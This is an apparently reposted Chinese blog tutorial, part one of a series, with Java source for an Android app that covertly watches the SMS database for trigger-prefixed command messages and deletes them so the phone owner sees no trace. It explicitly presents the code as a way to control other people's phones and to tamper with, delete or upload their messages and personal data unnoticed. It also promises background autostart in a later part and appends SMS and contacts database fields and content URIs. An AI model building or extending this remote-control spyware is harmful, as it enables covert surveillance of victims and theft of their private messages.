zoukankan      html  css  js  c++  java
  • android 监听短信数据库,制作短信控制工具,控制别人的手机!!(一)

    序言:本程序示例本着简洁易懂的目的,只做了简单的功能实现,需要用户启动应用,收到短信才有效果。作者将会在后面的(二)篇中加入服务后台运行、自动启动功能,实现一个真正的短信控制工具。本文的目的很简单,让读者掌握短信控制工具的原理。本程序采用的是监听短信数据库,而不是广播,所以权限相对较高,能在用户未察觉的前提下,篡改、删除,上传手机短信或个人信息。请勿非法使用,仅供个人参考学习。本程序需要用到4-5个类,

    本文来自:http://blog.csdn.net/tabactivity


    1、 com.xieyuan.smslistener 包下 MessageItem.java ,主要功能就是构建数据模型,方便修改和使用。

    package com.xieyuan.smslistener;
    
    import java.io.Serializable;
    
    /*
     * 实现Serializable接口,方便数据的传输
     * 在后面需要调用Message.obj=MessageItem的对象,来传输
     * 那么就必须实现此接口
     */
    public class MessageItem implements Serializable{
    
    	//短信ID
    	private int id;
    	//短信类型   1是接收到的,2是发出的
    	private int type;
    	//短信协议 ,短信彩信
    	private int protocol;
    	//发送时间
    	private long date;
    	//手机号
    	private String phone;
    	//内容
    	public String body;
    	
    	public MessageItem()
    	{
    		
    	}
    	
    	public MessageItem(int id,int type,int protocol,long date,String phone,String body)
    	{
    		this.id=id;
    		this.type=type;
    		this.protocol=protocol;
    		this.date=date;
    		this.phone=phone;
    		this.body=body;
    	}
    	
    	/**
    	 * @return the id
    	 */
    	public int getId() {
    		return id;
    	}
    
    	/**
    	 * @param id the id to set
    	 */
    	public void setId(int id) {
    		this.id = id;
    	}
    
    	/**
    	 * @return the type
    	 */
    	public int getType() {
    		return type;
    	}
    
    	/**
    	 * @param type the type to set
    	 */
    	public void setType(int type) {
    		this.type = type;
    	}
    
    	/**
    	 * @return the protocol
    	 */
    	public int getProtocol() {
    		return protocol;
    	}
    
    	/**
    	 * @param protocol the protocol to set
    	 */
    	public void setProtocol(int protocol) {
    		this.protocol = protocol;
    	}
    	/**
    	 * @return the date
    	 */
    	public long getDate() {
    		return date;
    	}
    
    	/**
    	 * @param date the date to set
    	 */
    	public void setDate(long date) {
    		this.date = date;
    	}
    
    	/**
    	 * @return the phone
    	 */
    	public String getPhone() {
    		return phone;
    	}
    
    	/**
    	 * @param phone the phone to set
    	 */
    	public void setPhone(String phone) {
    		this.phone = phone;
    	}
    
    	/**
    	 * @return the body
    	 */
    	public String getBody() {
    		return body;
    	}
    
    	/**
    	 * @param body the body to set
    	 */
    	public void setBody(String body) {
    		this.body = body;
    	}
    
    	public String toString()
    	{
    		return "id="+id+",type="+type+",protocol="+protocol+",phone="+phone+",body="+body;
    	}
    }
    


    2、com.xieyuan.smslistener 包下 SMSConstant.java ,主要定义了一些关于短信数据库字段和程序常量。

    package com.xieyuan.smslistener;
    
    import android.net.Uri;
    import android.provider.BaseColumns;
    
    public interface SMSConstant extends BaseColumns{
    
    	//内容地址
    	public static final Uri CONTENT_URI=Uri.parse("content://sms");
    	//短信开头过滤字符,根据该字符判断是不是控制短信
    	public static final String FILTER="woaixieyuan";
    	
    	////////////SMS数据库列名字段,其实还有很多,目前没用就不列举了
    	public static final String ID="_id";
    	public static final String THREAD_ID="thread_id";
    	public static final String ADDRESS="address";
    	public static final String M_SIZE="m_size";	
    	public static final String PERSON="person";
    	public static final String DATE="date";
    	public static final String DATE_SENT="date_sent";
    	public static final String PROTOCOL="protocol";
    	public static final String READ="read";
    	public static final String STATUS="status";
    	public static final String REPLY_PATH_PRESENT="replay_path_present";
    	public static final String SUBJECT="subject";
    	public static final String BODY="body";
    	public static final String SERVICE_CENTER="service_center";
    	public static final String LOCKED="locked";
    	public static final String SIM_ID="sim_id";
    	public static final String ERROR_CODE="error_code";
    	public static final String SEEN="seen";
    	public static final String TYPE = "type";
    	////////////短信的状态
    	public static final int MESSAGE_TYPE_ALL    = 0;   //所有
    
            public static final int MESSAGE_TYPE_INBOX  = 1;   //收件箱
    
            public static final int MESSAGE_TYPE_SENT   = 2;   //已发送
    
            public static final int MESSAGE_TYPE_DRAFT  = 3;   //草稿
    
            public static final int MESSAGE_TYPE_OUTBOX = 4;   //待发送
    
            public static final int MESSAGE_TYPE_FAILED = 5;   //发送失败 for failed outgoing messages
    
            public static final int MESSAGE_TYPE_QUEUED = 6;   //定时发送  for messages to send later
    	
    	public static final int PROTOCOL_SMS = 0;//SMS_PROTO
    
    	public static final int PROTOCOL_MMS = 1;//MMS_PROTO
    }
    


    3、com.xieyuan.smslistener 包下 SMSObserver.java ,短信观察者,该类 注册观察者类得到回调数据确定一个给定内容URI变化

    package com.xieyuan.smslistener;
    
    import android.content.ContentResolver;
    import android.database.ContentObserver;
    import android.database.Cursor;
    import android.os.Handler;
    import android.os.Message;
    
    /*
     *  
     ContentObserver——内容观察者,目的是观察(捕捉)特定Uri引起的数据库的变化,继而做一些相应的处理,它类似于
    
      数据库技术中的触发器(Trigger),当ContentObserver所观察的Uri发生变化时,便会触发它。触发器分为表触发器、行触发器,
    
      相应地ContentObserver也分为“表“ContentObserver、“行”ContentObserver,当然这是与它所监听的Uri MIME Type有关的。
     */
    public class SMSObserver extends ContentObserver{
    
    	private Handler mHandler;
    	//内容解析器,和ContentProvider刚好相反,一个提供,一个解析
    	private ContentResolver mResolver;
    	
    	//需要取得的短信条数
    	private static final int MAX_NUMS=10;
    	//用于保存记录中最大的ID
    	private static final int MAX_ID=0;
    	//需要获得的字段列
    	private static final String[] PROJECTION={
    		SMSConstant.ID,
    		SMSConstant.TYPE,
    		SMSConstant.ADDRESS,
    		SMSConstant.BODY,
    		SMSConstant.DATE,
    		SMSConstant.THREAD_ID,
    		SMSConstant.READ,
    		SMSConstant.PROTOCOL
    	};
    	/*
    	 * 查询语句
    	 * 用于查询ID大于 MAX_ID的记录,初始为0,后面用于保存记录的最大ID。短信的起始ID为1
    	 */
    	private static final String SELECTION=SMSConstant.ID + " > %s"+
    	        " and ("+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_INBOX+
    	        " or "+SMSConstant.TYPE+"="+SMSConstant.MESSAGE_TYPE_SENT+")";
    	
    	//取值对应的结果就是PROJECTION 里对应的字段
    	 private static final int COLUMN_INDEX_ID    = 0;
    	 private static final int COLUMN_INDEX_TYPE  = 1;
    	 private static final int COLUMN_INDEX_PHONE = 2;
         private static final int COLUMN_INDEX_BODY  = 3;
         private static final int COLUMN_INDEX_DATE  = 4;
         private static final int COLUMN_INDEX_PROTOCOL = 7;
    	
    	public SMSObserver(ContentResolver resolver,Handler handler) {
    		super(handler);
    	    this.mResolver=resolver;
    	    this.mHandler=handler;
    	}
    	
    	@Override
    	public void onChange(boolean selfChange)
    	{
    		super.onChange(selfChange);
    		
    		Cursor cursor=mResolver.query(SMSConstant.CONTENT_URI,   //查询的URI
    				                      PROJECTION,                //需要取得的列
    				                      String.format(SELECTION,MAX_ID),                 //查询语句
    				                      null,             //可能包括您的选择,将被替换selectionArgs的值,在选择它们出现的顺序。该值将被绑定为字符串。
    				                      null);                //排序
    		if(cursor!=null)
    		{			
    			while(cursor.moveToNext())
    			{
    			/*	Log.v("短信",new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(cursor.getLong(4))+ ",ID:"+cursor.getInt(COLUMN_INDEX_ID)+",TYPE:"+cursor.getInt(COLUMN_INDEX_TYPE)+",PROTOCOL:"+
    			                cursor.getInt(COLUMN_INDEX_PROTOCOL)+",PHONE:"+cursor.getString(COLUMN_INDEX_PHONE)+","+
    						    cursor.getString(COLUMN_INDEX_BODY));*/
    				int id=cursor.getInt(COLUMN_INDEX_ID);
    				int type=cursor.getInt(COLUMN_INDEX_TYPE);				
    				int protocol=cursor.getInt(COLUMN_INDEX_PROTOCOL);
    				long date=cursor.getLong(COLUMN_INDEX_DATE);
    				String phone=cursor.getString(COLUMN_INDEX_PHONE);
    				String body=cursor.getString(COLUMN_INDEX_BODY);
    				//过滤指定的内容,执行控制操作
    				if(protocol==SMSConstant.PROTOCOL_SMS&&body!=null&&body.startsWith(SMSConstant.FILTER))
    				{
    					MessageItem item=new MessageItem(id, type, protocol, date, phone, body);
    					//通知Handler
    					Message msg=new Message();
    					msg.obj=item;
    					mHandler.sendMessage(msg);
    					
    					break;
    				}
    			}
    			/*
    			 * 关闭游标,释放资源。否则下次查询游标仍然在原位置
    			 */
    			cursor.close();
    		}
    	}
    }
    



    4、com.xieyuan.smslistener 包下 SMSHandler.java ,短信观察者的数据发送变化,并和指定的Filter(SMSConstant定义的指令,区分是不是开发者的控制短信)字符串匹配后,会向SMSHhander发送消息,此时,SMSHandler就可以根据短信的内容执行一些操作,来控制手机。

    package com.xieyuan.smslistener;
    
    import android.content.ContentProvider;
    import android.content.ContentProviderClient;
    import android.content.ContentResolver;
    import android.content.ContentUris;
    import android.content.ContentValues;
    import android.content.Context;
    import android.content.Intent;
    import android.net.Uri;
    import android.os.Handler;
    import android.os.Message;
    import android.util.Log;
    
    /*
     * 用于接收SMSObserver发送过来的短信内容(MessageItem)
     */
    public class SMSHandler extends Handler{
    
    	private static final String TAG="SMSHandler";
    	private Context mContext;
    	
    	public SMSHandler(Context context)
    	{
    		super();
    		this.mContext=context;
    	}
    	@Override
    	public void handleMessage(Message msg)
    	{
    		MessageItem item=(MessageItem)msg.obj;
    		
    		new Intent(Intent.ACTION_REBOOT);
    		//添加给定的ID结尾的路径。
    		Uri uri=ContentUris.withAppendedId(SMSConstant.CONTENT_URI, item.getId());
    		
    		/*
                    可以根据短信内容进行判断,执行您想要的操作,如发送 Filter字符+dialog你就弹出个对话框,  
                    操作省略,自行完善所需控制操作
                    。。。。。。。。。。。。。。
                     */
    	
    		//删除指定的短信,操作不留痕迹。。。^_^
    		mContext.getContentResolver().delete(uri,null,null);
    		Log.v(TAG, item.toString());
    	}
    }
    


    5、注册内容观察者

    在Activity或者Service的初始函数中执行注册操作,本示例在Activity onCreate()中注册


    		
                    ContentResolver resolver=getContentResolver();
    		MSObserver observer=new SMSObserver(resolver, new SMSHandler(this));
    		//注册观察者类时得到回调数据确定一个给定的内容URI变化。
    		resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, observer); 

    在onDestroy'()中卸载观察者

    	//卸载观察者
    		getContentResolver().unregisterContentObserver(observer);


    在AndroidManifest.xml中添加短信权限

        <!-- 读取短信 -->  
        <uses-permission android:name="android.permission.READ_SMS" />
        <!-- 发送短信 -->
        <uses-permission android:name="android.permission.WRITE_SMS" />


    至此,整个简单的短信监听工具基本模型已经完善。

    ------------------------------------------------------------------------------------

    下面是辅助开发的一些参考资料:


    1、Android 短信数据库 开发资料(深度开发必看)

    http://download.csdn.net/detail/ab6326795/6199851

    2、Android数据库字段资料

     

    1.短信数据库
    String strUriInbox = "content://sms";
    Uri uriSms = Uri.parse(strUriInbox);
    Cursor c_groups = managedQuery( uriSms , new String[] { "date","person" }, select, null, "date DESC");

    strColumnName=_id                strColumnValue=48                  //短消息序号  
    strColumnName=thread_id          strColumnValue=16                  //对话的序号(conversation)
    strColumnName=address            strColumnValue=+8613411884805      //发件人地址,手机号
    strColumnName=person              strColumnValue=null                //发件人,返回一个数字就是联系人列表里的序号,陌生人为null
    strColumnName=date                strColumnValue=1256539465022        //日期  long型,想得到具体日期自己转换吧!
    strColumnName=protocol            strColumnValue=0                    //协议
    strColumnName=read                strColumnValue=1                    //是否阅读
    strColumnName=status              strColumnValue=-1                  //状态
    strColumnName=type                strColumnValue=1                    //类型 1是接收到的,2是发出的
    strColumnName=reply_path_present  strColumnValue=0                    //
    strColumnName=subject            strColumnValue=null                //主题
    strColumnName=body                strColumnValue=您好                                                      //短消息内容
    strColumnName=service_center      strColumnValue=+8613800755500      //短信服务中心号码编号,可以得知该短信是从哪里发过来的见下表

    2.联系人数据库
    strColumnName = _sync_id  strColumnValue=null
    strColumnName = primary_organization  strColumnValue=null
    strColumnName = notes  strColumnValue=null
    strColumnName = primary_phone  strColumnValue=1
    strColumnName = status  strColumnValue=null
    strColumnName = im_handle  strColumnValue=null
    strColumnName = _sync_local_id  strColumnValue=null
    strColumnName = im_account  strColumnValue=null
    strColumnName = _sync_time  strColumnValue=null
    strColumnName = im_protocol  strColumnValue=null
    strColumnName = mode  strColumnValue=null
    strColumnName = label  strColumnValue=null
    strColumnName = times_contacted  strColumnValue=0
    strColumnName = name  strColumnValue=é??è?3
    strColumnName = send_to_voicemail  strColumnValue=null
    strColumnName = primary_email  strColumnValue=null
    strColumnName = custom_ringtone  strColumnValue=null
    strColumnName = sort_string  strColumnValue=í?¤í2?í??ío3à?
    strColumnName = _sync_version  strColumnValue=null
    strColumnName = last_time_contacted  strColumnValue=null
    strColumnName = _sync_account  strColumnValue=null
    strColumnName = display_name  strColumnValue=é??è?3
    strColumnName = number_key  strColumnValue=77681111831
    strColumnName = number  strColumnValue=13811118677
    strColumnName = phonetic_name  strColumnValue=null
    strColumnName = _id  strColumnValue=1
    strColumnName = type  strColumnValue=2
    strColumnName = _sync_dirty  strColumnValue=1
    strColumnName = starred  strColumnValue=0
    4.其他数据库
    //Available Uri string
    content://contacts/people    //本地联系人列表信息
    content://contacts/phones    //本地联系人列表信息
    content://call_log/calls/    //本地通话记录        

    content://mms            彩信
    content://mms-sms/threadID
    content://mms-sms/conversations
    content://mms-sms/messages/byphone
    content://mms-sms/undelivered
    content://mms-sms/draft


    String strUriInbox        = "content://sms/inbox";        //SMS_INBOX:1 
    String strUriFailed      = "content://sms/failed";      //SMS_FAILED:2 
    String strUriQueued      = "content://sms/queued";      //SMS_QUEUED:3 
    String strUriSent        = "content://sms/sent";        //SMS_SENT:4 
    String strUriDraft        = "content://sms/draft";        //SMS_DRAFT:5 
    String strUriOutbox      = "content://sms/outbox";      //SMS_OUTBOX:6 
    String strUriUndelivered  = "content://sms/undelivered";  //SMS_UNDELIVERED 
    String strUriAll          = "content://sms/all";          //SMS_ALL 
    String strUriConversations= "content://sms/conversations";//you can delete one conversation by thread_id 
    String strUriAll          = "content://sms"              //you can delete one message by _id


  • 相关阅读:
    triangle
    Synchronizing timer
    jenkins 安装网址
    Java I/O编程思路
    SpEL快速入门
    Spring ApplicationContext的事件机制
    畅谈Spring设计哲学
    Spring ApplicationContext的国际化支持
    SQL中 WHERE与HAVING的区别
    Hibernate的查询语言之HQL(二)——Hibernate查询的from字句
  • 原文地址:https://www.cnblogs.com/suncoolcat/p/3299549.html
Copyright © 2011-2022 走看看